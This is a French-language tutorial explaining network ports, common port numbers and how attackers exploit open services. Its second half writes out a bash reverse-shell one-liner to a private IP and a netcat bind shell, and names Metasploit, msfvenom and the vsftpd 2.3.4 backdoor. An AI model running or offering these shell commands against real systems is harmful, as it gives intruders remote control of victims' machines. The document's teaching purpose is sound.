

## C'est quoi un port (réseau) ?

### 1. Définition simple

Un **port réseau**, c'est comme **une porte d'entrée numérique** sur un ordinateur. Chaque port permet à un **service ou une application** de **recevoir ou d'envoyer des données** sur Internet ou dans un réseau local.

#### Image mentale :

Imagine que ton ordinateur est comme **un immeuble**, avec plusieurs **portes numérotées** (port 21, port 80, port 443...).

Chaque porte correspond à **un type de service** (téléchargement, site web, email...).

### 2. Adresse IP + Port = Communication complète

Pour qu'un ordinateur communique sur un réseau, il faut deux choses :

- Une **adresse IP** → l'adresse de la machine (comme un numéro de maison)
- Un **port** → la **porte** sur laquelle tu veux frapper

Exemple :

192.168.1.12:80

Signifie → "Va sur l'ordinateur **192.168.1.12**, **porte 80** (le site web)"

### 3. À quoi servent les ports ?

Chaque **service réseau** écoute sur **un port bien précis** :

Port	Service	Utilisation
21	FTP	Transfert de fichiers
22	SSH	Connexion à distance sécurisée
23	Telnet	Connexion à distance (non sécurisée)
25	SMTP	Envoi d'e-mails
53	DNS	Résolution des noms (ex: google.com → IP)
80	HTTP	Navigation web non sécurisée
443	HTTPS	Navigation web sécurisée
3306	MySQL	Base de données
445	SMB	Partage de fichiers Windows

#### 4. Ports ouverts = portes vulnérables ?

Quand un **port est ouvert**, cela veut dire que **quelqu'un à l'intérieur écoute**. Si ce "quelqu'un" est un **logiciel mal configuré**, c'est une **faille** !

Exemple :

Si le **port 21 (FTP)** est ouvert et mal protégé, un hacker peut :

- Se connecter anonymement
- Lister les fichiers
- Télécharger ou modifier des données sensibles

#### 5. Comment on trouve les ports ?

Avec des outils comme :

- nmap
- netstat
- ss
- telnet
- nc

#### Les 3 catégories de ports

Plage	Nom	Description
<b>0 – 1023</b>	<i>Ports bien connus (well-known)</i>	Réservés aux services essentiels (FTP, HTTP, etc.)
<b>1024 – 49151</b>	<i>Ports enregistrés (registered)</i>	Services divers, souvent par des logiciels standards
<b>49152 – 65535</b>	<i>Ports dynamiques/privés</i>	Choisis librement par les applications (souvent temporairement)

#### Liste des principaux ports "bien connus" (0 à 1023)

Port	Protocole	Service	Description
<b>20</b>	TCP	FTP (données)	Transfert de fichiers
<b>21</b>	TCP	FTP (commande)	Contrôle FTP
<b>22</b>	TCP	SSH	Connexion sécurisée à distance
<b>23</b>	TCP	Telnet	Connexion distante (non sécurisée)
<b>25</b>	TCP	SMTP	Envoi d'e-mails
<b>53</b>	UDP/TCP	DNS	Résolution de noms de domaine
<b>67/68</b>	UDP	DHCP	Attribution automatique d'adresses IP
<b>69</b>	UDP	TFTP	Transfert simple de fichiers

Port	Protocole	Service	Description
80	TCP	HTTP	Navigation web
110	TCP	POP3	Récupération d'e-mails
123	UDP	NTP	Synchronisation de l'heure
143	TCP	IMAP	Lecture d'e-mails en ligne
161/162	UDP	SNMP	Surveillance réseau
179	TCP	BGP	Routage inter-réseaux
443	TCP	HTTPS	Web sécurisé (SSL/TLS)
465	TCP	SMTPS	Envoi d'e-mail sécurisé
514	UDP	Syslog	Journaux systèmes
515	TCP	LPD	Impression réseau
631	TCP	IPP	Impression Internet
993	TCP	IMAPS	Lecture d'e-mails sécurisée
995	TCP	POP3S	Récupération d'e-mails sécurisée

### Autres ports intéressants à exploiter (par les hackers)

Port	Protocole	Service	Exploits fréquents
3306	TCP	MySQL	Injection SQL, mots de passe faibles
3389	TCP	RDP (Windows)	Brute-force, prise de contrôle
5900	TCP	VNC	Contrôle bureau à distance
8080	TCP	HTTP alternatif	WebApp vulnérable
139 / 445	TCP	SMB	Partage fichiers, EternalBlue, ransomware
111	TCP/UDP	RPC	Linux NFS, attaques DoS
2049	TCP	NFS	Partage de fichiers Linux

### Remarques utiles

- Tous les ports peuvent être utilisés, mais **certains sont standardisés** et **attendus** par les outils (ex : navigateur va sur port 80/443 automatiquement).
- Les **services exposés sur des ports ouverts mal sécurisés** sont des **portes d'entrée pour les hackers**.
- C'est pour ça qu'on scanne les ports avec **nmap** pour trouver les points faibles.

## **Est-ce qu'un hacker peut ouvrir un port à distance (depuis l'extérieur) ?**

Un hacker ne peut pas "ouvrir" un port distant sur une machine qu'il ne contrôle pas.

**Ce que les hackers peuvent faire :**

1. **Scanner les ports ouverts** → avec nmap, masscan, etc.
2. **Exploiter une faille sur un service déjà ouvert** → ex: FTP mal sécurisé, SSH par brute-force
3. **Exécuter du code malveillant** sur la machine cible → *et ensuite...*

**Et là, après avoir compromis la machine, ils peuvent :**

- **Ouvrir un nouveau port** eux-mêmes depuis l'intérieur  
(ex : démarrer un serveur de commande distant sur le port 4444)
- **Créer un tunnel inversé (reverse shell)** qui leur permet d'accéder à la machine
- **Modifier le pare-feu de la machine** pour autoriser certaines connexions

### **Exemple courant : Reverse Shell**

Un hacker exécute un script sur la machine cible qui **se connecte à lui** :

```
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
```

Cela ouvre une "porte de sortie" de la machine cible vers le hacker.

### **Pourquoi un port est ouvert ?**

Un port **est ouvert quand un logiciel l'écoute**.

Seul l'utilisateur (ou un malware) **à l'intérieur** peut dire :

"Je lance un service et j'ouvre le port 8888."

Un hacker ne peut ouvrir un port sur un PC distant que s'il a réussi à y exécuter du code.

Autrement dit : **il doit d'abord pénétrer la machine** (via une faille, une ruse ou un logiciel malveillant) → **puis il peut ouvrir un port depuis l'intérieur**.

### **Méthodes utilisées pour y parvenir**

#### **1. Ingénierie sociale (Social Engineering)**

Le hacker **trompe la victime** pour qu'elle :

- télécharge un faux logiciel,
- ouvre une pièce jointe infectée,
- installe un programme piégé.

Ce programme exécute un script qui ouvre un port ou lance une backdoor.

## 2. Exploitation de vulnérabilités

Le hacker trouve un **service déjà ouvert** (ex: FTP, RDP, SMB) et exploite :

- Une **faille logicielle (CVE)**,
- Un **mauvais mot de passe**,
- Une **mauvaise configuration**.

Il obtient un **accès distant (shell)** à la machine.

**Exemple :**

- Exploiter `vsftpd 2.3.4` (Metasploitable2) → obtenir un shell → ouvrir un nouveau port avec Netcat.

## 3. Reverse Shell / Trojan / Backdoor

Le hacker force la machine à **se connecter vers lui** (reverse shell), ce qui :

- Contourne-les pare-feux,
- Permet une **prise de contrôle**,
- Lui permet d'ouvrir un port avec un serveur Netcat, une backdoor ou Meterpreter.

Exemple : une fois dans la machine, il tape :

```
nc -lvp 5555 -e /bin/bash
```

Et hop! Port 5555 est **ouvert** sur la machine victime.

## 4. Persistence et ouverture automatique

Une fois à l'intérieur, il peut :

- **Modifier le firewall Windows/Linux** pour autoriser son port
- **Ajouter un service** ou script qui s'exécute au démarrage
- **Lancer un serveur distant** (ex : SSH, VNC, Meterpreter)

### Exemples d'outils utilisés :

Outil	Usage
<b>Metasploit</b>	Exploits automatiques + payloads pour ouvrir des shells
<b>Netcat (nc)</b>	Écouter/ouvrir un port, faire un reverse shell
<b>msfvenom</b>	Créer des fichiers malveillants
<b>nmap + scripts NSE</b>	Scanner et tester des vulnérabilités
<b>PowerShell / Bash</b>	Ouvrir des ports via scripts après compromission

Étape 1 : Trouver un port ouvert → Étape 2 : Exploiter une faille  
→ Étape 3 : Prendre le contrôle → Étape 4 : Ouvrir un port depuis  
l'intérieur